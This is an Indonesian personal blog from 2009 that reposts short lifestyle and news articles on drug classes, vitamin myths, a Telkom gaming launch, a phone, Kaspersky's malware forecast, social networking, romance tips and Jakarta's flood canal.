RiDWaN

Pintar Membaca Obat

2009-12-22T04:34:00.000-08:00

Pernah bingung saat menerima resep dokter atau membaca obat yang dijual bebas? Jangan malu, Anda tidak sendiri. Beberapa nama obat memang kerapkali membuat kening berkerut. Supaya tidak salah, jenis obat di bawah ini bisa memandu Anda mengetahui obat apa yang sebenarnya diminum.

1. ACE inhibitor atau penghambat angiotensin converting enzim (ACE). Penghambat ACE ini merupakan kelompok obat untuk menurunkan tekanan darah.
2. Antasid dan alginates. Antasid digunakan untuk masalah dyspepsia atau maag. Beberapa jenis antasid bisa dijumpai tanpa membutuhkan resep.

3. Antibiotika. Juga dikenal sebagai antibakteri, merupakan jenis obat yang digunakan untuk masalah infeksi yang disebabkan oleh bakteri.

4. Antidepresan. Sesuai dengan namanya, obat ini untuk mengatasi depresi. Ada beberapa jenis obat antidepresan. Namun, dua jenis yang sering digunakan, yaitu obat tricyclic seperti amitriptiline dan imipramine serta selective serotonin re-uptake inhibitors (SSRIs) seperti fluoxetine.

5. Antihistamin. Dikenal sebagai obat untuk alergi, seperti demam dan beberapa jenis batuk dan pengobatan flu.

6. Benzodiazepine. Kelompok obat ini juga dikenal sebagai penenang minor dan sedatif. Yang banyak dikenal adalah diazepam (dengan nama valium) dan nitrazepam (dengan nama mogadon).

7. Beta-antagonist. Obat jenis itu misalnya inhaler yang digunakan untuk melegakan serangan asma, mengandung beta-antagonist.

8. Beta-blocker. Beta-adrenoreceptor sering disebut sebagai beta-blockers, bekerja untuk jantung dan sistem sirkulasi darah. Fungsinya, mengurangi tekanan darah.

9. Calcium-channel blockers. Obat ini digunakan untuk masalah yang berhubungan dengan jantung dan sistem peredaran darah, termasuk tekanan darah tinggi dan angina.

10. Kontrasepsi oral kombinasi. Merupakan salah satu dari banyak metode pencegahan kehamilan. Dinamakan demikian karena obat tersebut merupakan kombinasi dari dua jenis hormon perempuan, yaitu estrogen dan progesterone.

11. Obat untuk mata. Beberapa kelompok termasuk dalam obat untuk mata, seperti glaukoma. Ada lima jenis obat yang digunakan untuk pengobatan glaukoma, yaitu miotik, simpatomimetik, penghambat beta, penghambat karbonik anhydrase, dan latanoprost.

12. H2 antagonist. Ada beberapa jenis obat untuk mengobati luka lambung dan salah cerna. Satu yang terpenting adalah obat-obatan dari jenis H2 antagonist.

13. Hormone replacement therapy (terapi sulih hormon). Terapi ini direkomendasikan kepada perempuan saat dan pasca menopause.

14. Inhaler steroid. Obat inhaler jenis kortikosteroid atau steroid, digunakan untuk mencedah terjadinya gejala asma.

15. Laksatif. Terdapat beberapa jenis obat laksatif yang bekerja dengan berbagai cara untuk meredakan atau mencegah terjadinya konstipasi (sembelit), seperti jenis diuretik.

16. Nonsteroid anti-inflammatory drugs (NSAIDs) atau obat nonsteroid antiperadangan. Biasa digunakan untuk mengurangi peradangan dan meredakan nyeri. Yang biasa digunakan adalah ibuprofen.

17. Parasetamol. Merupakan pereda nyeri. Kekuatannya hampir sama, tetapi tidak bekerja sebagai antiperadangan seperti aspirin.

18. Proton pump inhibitor, obat penghambat pompa proton. Merupakan jenis obat yang digunakan dalam mengobati luka pada lambung dengan menghambat produksi asam lambung.

19. Statin. Merupakan kelompok obat yang digunakan untuk menurunkan kolesterol darah.

20. Steroid topical. Kortikosteroid topical atau dikenal dengan krim steroid, digunakan pada kulit untuk meredakan eksim dan beberapa gangguan kulit lainnya

Mitos-mitos tentang Vitamin

2009-12-22T04:29:00.000-08:00

Mitos tentang vitamin sangat perlu diketahui agar tak salah langkah. Simak penjelasan berikut.

1. Anak kurus karena kurang vitamin
Orang sering berpikir, anak yang gemuk dan lincah pastilah sehat. Padahal belum tentu, lho. Anak gemuk belum tentu cukup vitamin. Pasalnya, tubuh yang besar relatif butuh makanan lebih banyak. "Bisa jadi, anak yang gemuk tersebut kurang darah alias mengidap anemia."

Biasanya pada saat lahir, anak tersebut mendapat cadangan makanan (baik zat besi maupun vitamin) yang cukup dari ibunya. Namun, seiring pesatnya pertumbuhan, ia ternyata relatif kekurangan vitamin pembentukan darah. Untuk itu harus mendapat tambahan asam folat, zat besi, dan vitamin C.

Sebaliknya, anak yang kurus juga belum tentu kekurangan vitamin. Pemikiran bahwa anak gemuk itu sehat dan anak kurus tidak sehat tidak berlaku lagi sekarang. "Patokannya sekarang adalah tumbuh dan kembang. Untuk mengetahui apakah anak kita cukup ideal, bisa menggunakan alat ukur grafik berat, tinggi, dan umur yang saling dibandingkan," lanjut Ghazali.

Selain itu, faktor genetik pun bisa memengaruhi anak menjadi kurus, gemuk, pendek, tinggi, dan lainnya.

2. Nafsu makan hilang, cekok saja dengan vitamin
Sering, kan, kita lihat orangtua yang sembarangan mencekokkan vitamin pada anaknya yang sulit makan. "Mencekokkan vitamin dianggap bisa mengembalikan nafsu makan anak. Padahal, hilangnya nafsu makan anak disebabkan banyak hal, seperti karena sakit tenggorokan, sariawan, gigi tumbuh, gigi copot, anak flu, atau terkena TBC," ujar Ghazali.

Pemberian vitamin yang berlebihan justru bisa membuat anak kehilangan nafsu makan, terutama jika anak kehilangan vitamin C alias asam askorbat. Asam jika dimakan berlebih akan menyebabkan perut perih. Apalagi, jika anak makan tidak teratur, bisa saja terjadi luka di lambung. Tetapi pada anak kecil hal ini jarang terjadi.

Penyakit mag biasanya diderita orang dewasa. Untuk itu sebaiknya mengonsumsi vitamin sesuai dosis wajarnya 50 mg. Jangan termakan iklan yang menyebutkan bahwa menelan vitamin dosis tinggi (sampai 1.000 mg) bisa membantu stamina tetap kuat dan tidak sakit-sakitan.

3. Vitamin membuat anak lebih cerdas
Vitamin memang bisa membuat anak cerdas, tetapi prosesnya tentu saja tidak langsung. Cerdas itu terjadi karena anak mengalami perkembangan. Misalnya cepat bicara, berjalan, bermain, dan lainnya.

Lagi pula, kecerdasan ditentukan oleh beberapa faktor, di antaranya stimulasi lingkungan dan makanan bergizi. Dalam makanan bergizi, salah satu unsurnya adalah vitamin. "Oleh karenanya, secara tidak langsung, vitamin dapat memengaruhi kecerdasan. Tapi perlu diingat, vitamin hanya dibutuhkan sedikit saja oleh anak."

Telkom Gelontorkan 130 Game Online

2009-12-22T03:18:00.000-08:00

Pasar game online menjadi garapan bisnis baru PT Telkom dengan meluncurkan konten Speedy Games. Tidak tanggung-tanggung, sebanyak 130 jenis game digelontorkan sekaligus.

"Kami berharap pengakses Speedy Games pada tahun 2010 bisa mencapai 20.000 pelanggan, dari saat ini baru sekitar kurang dari 100 pelanggan," kata Direktur Konsumer Telkom, Nyoman G Wiryanata, di sela peluncuran Speedy Games di Jakarta, Sabtu (19/12/2009). Layanan ini dapat diakses melalui situs http://game.telkomspeedy.com.

Ia menuturkan, konten Speedy Games yang saat ini diperkenalkan merupakan hasil kerjasama dengan Valve, perusahaan game developer asal Washington, AS. Untuk menjamin infrastruktur jaringan, Telkom menyediakan 10 server dengan kapasitas storage mencapai total 5 terra byte.

Untuk memperluas konten SpeedyGames, Telkom menggelar Speedy Games Championship di tujuh kota, seperti Jakarta (Desember), Bandung (Januari 2010), Balikpapan (Februari), Surabaya (Maret), Jogjakarta (April), Medan (Mei), Makassar (Juni). Kejuaraan pertama di Jakarta, mempertandingkan game Counter Strike sebanyak 32 tim, dan Left4Dead 9 tim. Pemenang kompetisi di setiap kota akan mewakili mengikuti grand final pada Juli di Jakarta.

Sementara itu, Head of Digital Business Telkom Widi Nugroho menambahkan, dengan penggelaran Speedy Games tersebut diharapkan juga dapat memacu pertumbuhan konten games hasil ciptaan Indonesia.

"Indonesia terkenal dengan kreativitasnya terutama untuk game. Banyak pengembang games (games developer) hasil ciptaan orang Indonesia justru digunakan di luar negeri," ujar Widi. Saat ini jumlah pelanggan Speedy mencapai 1,1 juta yang terbesar di seluruh Indonesia, di mana 420.000 di antaranya berada di Jabodetabek.

"Kami memperkirakan bisa naik dua kali lipat menjadi sekitar 2,2 juta pelanggan pada tahun 2010," kata Widi.

Ponsel Elm Bantu Anda Kurangi Karbondioksida

2009-12-22T03:15:00.000-08:00

Di tengah negosiasi alot konferensi perubahan iklim di Kopenhagen, Denmark, pekan lalu untuk menentukan komitmen setiap negara di dunia untuk menekan emisi karbon dioksida, Sony Ericsson mengumumkan ketersediaan ponsel yang ramah lingkungan. Dengan ponsel yang diberi nama Elm ini, setiap orang bisa mengukur seberapa besar perannya dalam mengurangi emisi karbon.

Walk Mate Eco, salah satu aplikasi standar yang dimiliki ponsel ini bisa memberitahukan berapa gram emisi karbon dioksida yang bisa dicegah jika penggunanya beraktivitas dengan berjalan kaki. Aplikasi tersebut akan mengkonversi jumlah langkah ke berat karbon dioksida. Namun, tidak hanya aplikasi tersebut yang membuat ponsel ini menarik. Elm masuk dalam program Green Heart yang dicanangkan Sony Ericsson untuk menghasilkan produk ramah lingkungan. Sony Ericsson membuatnya dengan casing berbahan plastik daur ulang, manual elektronik di dalam ponsel, bebas dari bahan kimia berbahaya, konsumsi daya charger yang rendah, dan kemasan ukuran kecil.

Fitur lainnya kamera 5 megapiksel dengan autofocus, Google Maps, Wisepilot, navigasi turn-by-turn dengan AGPS, 10 hari trial aplikasi cuaca dari Accuweather, dan Media Player. Sony Ericsson Elm mendukung jaringan UMTS HSPA 900, 1200 dan GSM/GPRS/EDGE 850, 900, 1800, 1900. Elm akan dikemas dengan GreenHeart personal handsfree, the Stereo Portable Handsfree HPM-60J. Produk ini akan tersedia di Indonesia dalam warna Metal Black dan Pearly Rose mulai dari kuartal 1 2010.

Awas, Serangan Malware Tahun Depan Makin Canggih

2009-12-22T03:11:00.000-08:00

Pengembang solusi keamanan Kaspersky Lab memperingatkan risiko serangan malware yang semakin jahat tahun depan. Beberapa jenis serangan diperkirakan akan meningkat menyerang platorm yang tengah populer saat ini seperti Google Wave, iPhone, Android, dan Windows 7.

"Malware akan jauh lebih canggih di tahun 2010 dan banyak program antivirus akan melambat dalam mengobati komputer yang terinfeksi karena metode infeksi file dan teknologi rootkit yang semakin canggih," ujar Alex Gostev, Director of Kaspersky Lab's Global Research & Analysis Team dalam siaran persnya. Ia mengatakan perusahaan keamanan IT akan merespon dengan cara mengembangkan alat perlindungan yang lebih kompleks. Namun, program jahat yang mampu melewati pengukuran-pengukuran tersebut dapat menjadi lebih atau kurang kebal terhadap program antivirus untuk beberapa waktu.

Menurut ahli perusahaan itu, di tahun mendatang kita akan melihat pergeseran jenis-jenis serangan terhadap pengguna dari serangan melalui situs web dan aplikasi ke serangan yang berasal dari jaringan file sharing. Sejak tahun 2009 serangkaian epidemi massa malware telah didukung oleh file jahat yang menyebar melalui portal-portal torrent. Metode ini telah digunakan untuk menyebarkan ancaman terkenal seperti TDSS dan Virut serta backdoor pertama untuk Mac OS X. Di tahun 2010, diprediksi terjadi peningkatan yang signifikan pada tipe ini dalam insiden jenis jaringan P2P (peer to peer).

Para penjahat dunia maya akan terus bersaing di lalu lintas internet. Kejahatan dunia maya modern menghasilkan lebih dan lebih banyak lagi upaya untuk melegalisasi dirinya dan ada banyak cara untuk mendapatkan uang secara online dengan menggunakan lalu lintas dalam jumlah yang besar yang dapat dihasilkan oleh botnet 9aplikasi yang disusupkan ke banyak komputer dan siap diperintahakn dari jarak jauh). Saat ini, sebagian besar layanan pasar gelap bersaing untuk memanfaatkan lalu lintas botnet.

Di masa depan, Kaspersky meramalkan lebih banyak kemunculan skema transaksi botnet yang disebut "program partner" di mana memungkinkan pemilik botnet untuk menghasilkan keuntungan dari kegiatan-kegiatan seperti, mengirim spam, melakukan serangan DoS atau menyebarkan malware tanpa melakukan kejahatan yang eksplisit. Pihak yang ingin memanaatkan tinggal membayar dengan jumlah setara penyusupan yang dilakukan.

Namun, Kaspersky memperkirakan terjadi penurunan varian Trojan yang terjadi di tahun 2009 melalui program antivirus palsu. Yang terakhir muncul pertama kali di tahun 2007 dan di 2009 terlihat peningkatan aktivitas dan keterlibatan mereka dalam sejumlah epidemi besar. Sebagai contoh, worm Kido, menginstal program antivirus ganas dalam komputer yang terinfeksi. Alasannya, pasar antivirus palsu sekarang sudah jenuh dan keuntungan untuk kejahatan dunia maya menurun. Selain itu, kegiatan semacam ini sangat dipantau oleh perusahan keamanan IT dan badan-badan penegak hukum. Hal ini mempersulit untuk pembuatan dan pendistribusian program antivirus palsu.

Selain itu, serangan-serangan terhadap layanan web terjadi, Google Wave sepertinya akan menjadi berita utama di tahun 2010. Serangan terhadap layanan Google yang baru ini tidak diragukan lagi akan menggunakan pola yang biasa: pertama, pengiriman spam diikuti dengan serangan phising, kemudian mengeskploitasi kerentanan dan penyebaran malware. Rencana peluncuran jaringan berbasis Chrome OS merupakan peristiwa yang patut dicatat, tetapi para ahli di Kaspersky Lab tidak mengantisipasi timbulnya ketertarikan berlebihan dari platform kejahatan dunia maya ini.

Tahun 2010 dipastikan juga akan lebih sulit untuk iPhone dan Android. Program jahat pertama untuk mobile platform ini muncul di tahun 2009, yang merupakan tanda pasti bahwa mereka telah membangkitkan minat para penjahat dunia maya. Satu-satunya pengguna iPhone yang berisiko adalah mereka yang memiliki perangkat berkompromi, tapi hal yang sama tidak berlaku untuk pengguna Android yang semuanya rentan terhadap serangan. Peningkatan popularitas ponsel Android OS di Cina dikombinasikan dengan tidak adanya pengecekan yang efektif untuk memastikan aplikasi keamanan piranti lunak pihak ketiga akan menimbulkan sejumlah wabah malware dengan profil tinggi.

Pendeteksian pada kerentanan baru akan tetap menjadi penyebab utama epidemi. Kerentanan ini akan terdeteksi pada perangkat lunak yang dikembangkan oleh pihak ketiga (seperti Adobe, Apple, dll.) dan di Windows 7, sistem operasi yang baru saja memasukki pasar. Jika tidak ada kerentanan serius yang terdeteksi, tahun 2010 mungkin terbukti menjadi salah satu tahun yang paling tenang untuk beberapa waktu.

Pada tahun 2008, analis perusahaan tersebut memperkirakan kenaikan jumlah epidemi global. Ramalan tersebut terbukti benar karena sepanjang tahun 2009 muncul program-program jahat yang canggih dengan fungsi rootkit, worm Kido (yang dikenal juga sebagai Conficker), serangan web, botnet, SMS penipuan dan serangan pada jaringan sosial.

Inilah Tips untuk Jadi Bintang OL

2009-12-22T03:09:00.001-08:00

Sebuah studi yang dilakukan oleh Synovate untuk Microsoft menunjukkan, kaum muda Asia yang berusia 15-24 tahun menghabiskan rata-rata lima jam per hari untuk online (OL) internet.

Berikut adalah tips bagi Anda pengguna aktif dunia maya, yang selalu ingin terkoneksi dengan jejaring sosial Anda agar menjadi bintang dalam pergaulan sosial online:

1. Bersikaplah selektif

Banyak sekali jejaring sosial di luar sana. Anda perlu mempelajari beberapa pilihan populer yang ada dalam web, seperti Facebook, Ning, Linkedln, Twitter, De.li.cious, Flickr, dan Picasa Web. Kemudian, tanyakan pada diri Anda apa yang dibutuhkan dari jejaring tersebut. Apakah menambah teman, mempromosikan hasil karya, atau mencurahkan berbagai gagasan? Jika jawabannya iya, mungkin Anda harus mempertimbangkan Windows Live home page, Facebook, My Space, atau Friendster.

2. Pandai-pandailah menampilkan profil

Tidak masalah memasang foto yang menarik dan menulis profil diri secara detail, namun jika identitas diri yang ada terlalu berlebihan, maka justru akan menarik para cyber-stalkers. Karena itu, buatlah pengaturan privasi secara baik.

3. Tetap aktif itu penting

Pastikan bahwa Anda berhubungan dengan teman-teman secara rutin, misalnya ikut ambil dalam diskusi online, memperbaharui status Anda atau juga turut berpartisipasi dalam memberi pendapat dari waktu ke waktu. Satu lagi hal yang penting adalah, jangan pernah membanjiri teman-temanmu dengan link, pesan-pesan, komentar, dan konten. Takutnya Anda malah dicap sebagai spammer.

4. Have fun!

Berhubungan dalam jejaring sosial secara online sangat menyenangkan. Jadi buatlah segalanya menjadi sederhana. Menggunakan Windows Live untuk menggabungkan berbagai jejaring sosial yang Anda punya dalam satu waktu adalah pilihan yang baik.

10 Hal Romantis Menurut Pria

2009-12-17T07:29:00.000-08:00

Hal-hal romantis, jangan selalu diterjemahkan sebagai makan malam dengan cahaya lilin. Romantisme juga berkaitan dengan hal-hal yang dapat membuatnya teringat masa lalu, sesuatu yang Anda lakukan dan berkesan buatnya, pokoknya apa saja yang dapat membangkitkan perasaan cinta antara Anda dan pasangan. Dan, tidak seperti yang Anda pikirkan sebelumnya, ternyata tidak sulit menciptakan suasana romantis bagi pasangan. Anda hanya perlu mengingat apa yang pernah dilakukannya untuk Anda, dan mengirimkan pesan bahwa Anda menghargai dan mencintainya.

1. Berdandan untuknya
Si Dia pernah membelikan Anda pakaian, atau sepatu? Mungkin Anda pernah memakainya, sekali atau dua kali, lalu menyimpannya di lemari. Hal ini pasti akan menimbulkan pertanyaan baginya: Anda tidak menyukai pemberiannya itu. Mungkin, seleranya kurang pas untuk Anda. Namun, "Cobalah untuk berdandan sesuai seleranya sekali waktu," saran Barbara De Angelis, Ph.D., penulis Secrets About Men Every Woman Should Know. "Ajak dia berbelanja, dan biarkan dia memilih pakaian yang dia inginkan untuk dipakai Anda, atau lingerie yang menurutnya seksi."

Ingatlah, Anda melakukan hal ini untuk dia, bukan untuk Anda. Tidak apa-apa kan, sesekali membuatnya senang?

2. Lebih sering menyentuhnya
Sentuhan tidak selalu berarti hubungan seks, atau pijatan. Sentuh lembut kakinya di bawah meja, usapkan tangan Anda di pundak atau punggungnya.... Pria menganggap sentuhan wanita yang mereka cintai itu sangat menentramkan hati. Dalam bahasa non verbal, hal ini bisa diterjemahkan sebagai, "Aku sayang banget sama kamu." Sentuhan semacam ini juga tidak harus diartikan ajakan untuk berhubungan seksual. "Belajarlah untuk mencintai dan menghargai tubuh pria," kata De Angelis. "Hal ini membuatnya merasa Anda mencintai setiap bagian tubuhnya."

3. Membiarkan dia hangout bersama teman-teman prianya
Heran, karena konsep romantis di sini tidak melibatkan Anda? Ya, pria memang memerlukan waktu untuk menjauhkan diri dan membentuk koneksi dengan sesamanya, untuk bertingkah gila-gilaan, atau kekanak-kanakan. Anda pun suatu ketika ingin menghabiskan waktu bersama teman-teman wanita untuk membicarakan pria, bebas mengagumi pria-pria tampan yang lewat di depan Anda. Mereka pun begitu. Jangan terlalu serius mengenai hal ini, dan ia akan mencintai Anda karena sikap Anda tersebut. Dan, tak perlu meneleponnya berulang kali saat ia sedang bersama gerombolannya. Hal itu justru menunjukkan kepercayaan Anda padanya, bahwa membuatnya bahagia tak hanya dengan memberikan sentuhan erotis.

4. Muncul di kantornya
Buat surprise dengan tiba-tiba mengunjunginya di kantor menjelang pulang. Tentu saja, hal ini bisa dilakukan jika Si Dia sedang tidak sibuk. Bila ia seorang yang senang bersosialisasi, ia akan senang mengajak Anda menghabiskan waktu dengan teman-temannya, pria atau wanita. Namun hadir di kantornya bisa juga diartikan secara kiasan: buat kehadiran Anda dirasakan olehnya sepanjang hari. Caranya, bisa dengan meneleponnya, atau mengiriminya email berisi foto seksi Anda. "Menurut saya pria senang mendengar betapa sang istri mencintai dan merindukannya," tukas Ronald Goldstein, Ph.D., psikolog dan konsultan perkawinan di Newtown, Pennsylvania.

5. Mengatakan betapa hebat ia di mata Anda
Pria umumnya tidak mampu mengekspresikan dirinya secara verbal, oleh karena itu kitalah yang perlu menyampaikannya untuk dia. Katakan pada suami betapa ia membuat Anda merasa aman dan nyaman, berterima kasihlah karena ia telah bekerja begitu keras untuk keluarga (meskipun Anda pun bekerja sama kerasnya), ceritakan betapa kasihan teman-teman Anda yang tidak mempunyai suami seperti dia. Memang tidak mudah menyampaikannya di sela-sela jam kantor yang sibuk, namun pesan kilat pun akan membuatnya merasa diinginkan dan dibutuhkan. Jika ia terlihat lelah dan stres sepulang kantor, siapkan bir dingin, air panas untuk mandi, membawakan baju gantinya, atau apa saja yang membuatnya merasa rileks. Pijatan halus di pundaknya akan mengatakan, semuanya akan baik-baik saja.

6. Menyiapkan kencan yang berbeda dari biasanya
Nongkrong di mal yang biasa Anda lakukan pada malam minggu, tentu tidak termasuk. Ajaklah dia keluar kota di akhir minggu, atau siapkan tiket nonton film di bioskop mewah yang belum sempat dikunjunginya sejak dulu. Untuk memastikan rencana ini berhasil, gali apa yang dibutuhkan oleh hubungan Anda saat ini. Bila Anda terlalu lelah bekerja, bagaimana kalau cuti bersama dan berlibur di tempat favorit Anda? Bosan dengan situasi sehari-hari? Anda bisa membuka kamar di hotel lokal. Lebih seru lagi bila kegiatan ini Anda lakukan secara spontan.

7. Hubungan seks yang mendebarkan
Saat Anda telah lama menikah, hubungan seks seringkali menjadi kewajiban saja. Anda sudah melupakan unsur kesenangan di dalamnya. Coba ingat bagaimana Anda berhubungan seks saat pertama menikah? Ketika Anda masih sering tersipu, ketika Si Dia masih sering melontarkan ide mengenai gaya-gaya baru, atau memilih tempat seperti di ruang tamu, atau di ruang tengah. Lakukan kembali hal-hal yang mendebarkan ini. Atau, bila Anda terbiasa berhubungan intim dengan lampu dimatikan, kali ini lakukan dengan lampu menyala, atau dengan bantuan lilin. Cari tahu fantasi seksual yang masih dimilikinya.

8. Berikan hadiah yang hanya dapat dinikmatinya
Jika Anda memberi hadiah berupa ponsel, atau pemutar musik, mungkin suatu saat Anda akan meminjamnya. Memberi hadiah yang hanya dapat dinikmatinya mengirimkan pesan bahwa Anda ingin membuat Si Dia senang atau bahagia. Jadi, jangan pikirkan apa yang ingin Anda berikan untuknya, tetapi apa yang disenangi atau dibutuhkannya. Misalnya, tiket konser band yang disukainya, supaya ia bisa nonton bersama teman-temannya. Atau, stick bilyar yang ingin dimilikinya sejak dulu. Anda lebih tahu apa yang dibutuhkan suami, kan?

9. Tunjukkan perhatian untuk keluarganya
Rutinitas sehari-hari sering membuat hari begitu cepat berlalu. Perhatian Anda tercurah ke pekerjaan, atau mengurus keperluan anak-anak. Sampai-sampai Anda melupakan ulang tahunnya. Atau ulang tahun kakak, adik, atau orangtuanya. Buat reminder di ponsel untuk mengingatkan Anda hari jadi anggota keluarganya. Tanpa diminta, kirimkan SMS ucapan selamat ulang tahun, atau simpati jika ada keluarga lain yang sedang berduka. Kirimkan bunga, atau kue untuk adiknya yang baru saja dipromosikan. Ucapan terima kasih dari sang adik, yang mengira hadiah tersebut berasal dari sang kakak, akan membuat Si Dia makin menghargai perhatian Anda.

10. Memasak untuknya
Anda mungkin pandai memasak, namun sering enggan memasak karena malas membereskan peralatannya, atau memang tidak lagi mempunyai waktu saat hari kerja. Di akhir minggu, memasaklah untuk dirinya. Buat makanan kesukaannya, atau masakan andalan Anda yang membuatnya jatuh cinta pada Anda. Aturlah makan pagi (atau makan malam), lengkap dengan snack, minuman kesukaannya, dan makanan penutup. Tak perlu memikirkan setting menu seperti di hotel. Siapkan saja snack atau buah-buahan favoritnya. Makanlah perlahan sambil ngobrol ringan. Momen ini akan sangat membuatnya rileks.

Kenapa Pria Tidak Terbangun Saat Bayi Menangis?

2009-12-17T07:26:00.001-08:00

Salah satu tantangan terberat saat baru melahirkan si kecil adalah: pola tidur Anda akan berubah drastis. Anda akan sering terbangun tengah malam karena harus menyusui si kecil.

Pada saat tubuh begitu kelelahan seperti ini, Anda mungkin bertambah stres, karena suami ternyata tak mau bangun untuk bergantian menenangkan si kecil yang menangis. Setelah berulangkali dibangunkan, suami tak juga beranjak dari tempat tidur, sehingga Anda mengiranya berpura-pura tidur agar tak perlu repot mengurus bayi.

Namun penelitian baru menunjukkan, bila tangisan bayi umumnya akan mengganggu wanita, tidak begitu dengan pria. Menurut penelitian dari MindLab, tangisan bayi tidak termasuk dalam 10 hal yang mengganggu pria saat tidur. Pria, atau para ayah, akan lebih mudah terbangun karena alarm mobil, suara angin, bahkan suara lalat, daripada suara bayi mereka menangis.

MindLab mengukur aktivitas otak dari relawan yang tidur, untuk memonitor bagaimana otak dipengaruhi suara yang berbeda-beda. Lembaga riset ini mendapati bahwa wanita lebih mudah terganggu oleh kegaduhan daripada pria, dan lebih sulit untuk kembali tidur. Apakah mereka seorang ibu atau wanita lajang, wanita ternyata paling terganggu oleh suara tangis bayi.

"Sensitivitas yang berbeda ini dapat mewakili perbedaan evolusioner yang membuat wanita sensitif terhadap suara yang diasosiasikan dengan ancaman pada anak-anak mereka, sementara pria lebih mudah terjaga oleh gangguan yang menyebabkan kemungkinan ancaman terhadap seluruh keluarga," ujar Dr David Lewis, psikolog yang merupakan salah satu peneliti di lembaga tersebut.

Hm... menjengkelkan, ya. Jangan-jangan suara tangisan bayi malah membuat pria merasa dininabobokan?

Menghitung Hari...

2009-12-17T07:25:00.001-08:00

Kalangan petinggi pemerintah pusat dan daerah, terutama Kepala Balai Besar Wilayah Sungai Ciliwung Cisadane Departemen Pekerjaan Umum Pitoyo Subandrio, berharap pada akhir Desember 2009 Kanal Banjir Timur sudah mengalirkan air dari lima sungai yang berhulu di Bogor.

Mereka berharap luapan banjir kiriman dari Bogor yang umumnya mencapai puncaknya pada awal Februari bisa dikurangi dengan tembusnya aliran air di Kanal Banjir Timur (KBT) hingga ke laut.

Selain untuk mengurangi ancaman banjir di 13 kawasan, pembangunan KBT juga bertujuan melindungi permukiman, kawasan industri, dan pergudangan di Jakarta Timur (Jaktim). KBT juga menjadi sarana konservasi air untuk mengisi kembali air tanah dan sumber air baku serta prasarana transportasi air.

Mampukah? Saat menyusuri KBT dari Kebon Nanas, Jatinegara, hingga Pantai Marunda, Jakarta Utara, sepanjang Selasa (24/11), muncul kegamangan akan harapan itu.

Dari ruas Kebon Nanas hingga Pondok Kopi, Jakarta Timur, sebagian KBT masih berupa deretan kubangan. Intensitas kesibukan tampak tinggi. Truk-truk mondar-mandir mengangkat tanah galian hingga jalanan menjadi kotor dan licin. Belasan ekskavator terus menggali tanah.

Menurut Sekretaris Kota Jakarta Timur Arifin, pembebasan tanah di sepanjang kawasan ini tinggal di dua titik. Oleh karena itu, pelaksana proyek tak perlu khawatir untuk terus bekerja menggali dan mengubah deretan kubangan menjadi saluran air raksasa yang menelan biaya Rp 4,9 triliun.

Dari ruas Ujung Menteng, Cakung, Jakarta Timur, hingga ruas Rawa Kuning, ingar bingar alat-alat berat dan truk-truk yang mondar-mandir sudah jarang tampak. Galian sedalam sekitar 15 meter masih tampak.

Sesampainya di ruas Kota Harapan Indah, Bekasi, terhamparlah pemandangan KBT nan elok. Selintas, kawasan ini sangat berpotensi menjadi kawasan wisata air. Puluhan pemancing berjejer di bibir tanggul KBT. Tanpa mengindahkan papan larangan, belasan penjala ikan turun ke kanal.

Ditumbuhi kangkung

Permukaan air hanya sebatas dada mereka. Namun, setibanya di ruas Karang Tengah, permukaan air hanya sebatas paha. Sebagian deretan kubangan berubah menjadi rawa kangkung.

Banyak delta terbentuk di antara deretan kubangan. Di atas delta, tumbuh berbagai tanaman liar. KBT di ruas ini seperti cuma bangunan dua deret tanggul. Truk-truk dan alat-alat berat kian jarang tampak.

Jika harapan saluran tembus ke laut hanya dimaknai asal air tawar bisa sampai laut, akan timbul pertanyaan: mampukah saluran yang tembus ke laut itu menggerakkan arus air dan mengurangi banjir? Pertanyaan ini seperti membentur dangkalnya BKT di ruas Karang Tengah.

Ada beberapa pertanyaan lain yang muncul hingga perjalanan berakhir di Pantai Marunda, Jakarta Utara. Di ruas ini, deretan kubangan kembali tampak. Truk-truk dan alat berat kembali tampak hiruk-pikuk. Warga Jakarta mulai menghitung hari, sampai tiba waktu yang dijanjikan.

Ada Apa Antara Pria dan Sepak Bola?

2009-12-17T07:23:00.000-08:00

Bagi sebagian besar wanita, masih merupakan misteri tersendiri mengapa pria sangat menggilai sepak bola. Pertanyaan-pertanyaan seperti, “Apa sih serunya menyaksikan 22 pria berlarian di lapangan mengejar 1 bola?” atau “Mengapa wajib hukumnya untuk begadang semalam suntuk untuk menyaksikan tim itu bertanding?”, tentu sudah sering Anda dengar. Teruslah membaca untuk mengetahui alasan mengapa si dia bisa uring-uringan seharian “hanya” karena tim kesayangannya gagal menang.

Pria ingin jadi yang terbaik
Bahkan sejak masih kecil pun laki-laki sudah memiliki sifat kompetitif. Baik saat bertanding di lapangan olahraga atau saat bermain dengan teman-temannya. Mengapa? Karena mereka menyukai perasaan menjadi seorang pemenang dan tak ada yang bisa menyamai dirinya. Nah, begitu pula ketika menyangkut pasangan Anda. Ia merasa menjadi pemain ke-12 di lapangan ketika tim kesayangannya sedang bertanding. Adalah hal yang umum jika tiba-tiba ia mengenakan kostum tim kebanggaannya itu (bahkan saat ia menonton sendiri di rumah). Jika pasangan Anda adalah termasuk fans berat, tak ada salahnya untuk mendampingi si dia saat timnya bertanding. Atau setidaknya selalu mendengar hasil akhirnya. Karena, untuk sebagian fans, adalah hal yang sangat menyakitkan ketika timnya gagal (entah itu kalah bertanding, pemain terbaiknya kena kartu merah, atau pelatihnya dipecat). Ia akan membutuhkan dukungan dan teman untuk berbagi, sama seperti kita, para wanita yang butuh penghiburan saat sepatu incaran kita yang hanya ada 1 sudah dibeli orang lain.

Semacam bentuk terapi
Ketika pria melihat pria lain beradu kepala dan tubuh hingga terjatuh-jatuh, ia melihat suatu hal yang berbeda. Mungkin bagi wanita tindakan tersebut sangat menyakitkan dan tidak menyenangkan untuk dilihat. Namun bagi pria, ia mengasosiasikannya dengan keadaan yang sedang ia hadapi di kantor, dengan teman, dengan keluarga, bahkan dengan Anda. Ketika pemain kesayangannya bisa menghadapi “tantangan” untuk beradu badan dengan pria bertubuh kekar di hadapannya, ia pun pasti bisa menghadapi tantangan yang ia miliki di kehidupannya. Jadi, anggap saja menonton sepak bola menjadi semacam terapi untuknya menghadapi hidup, sama seperti Anda saat membaca buku pengayaan diri (self improvement).

Ia ingin didengar
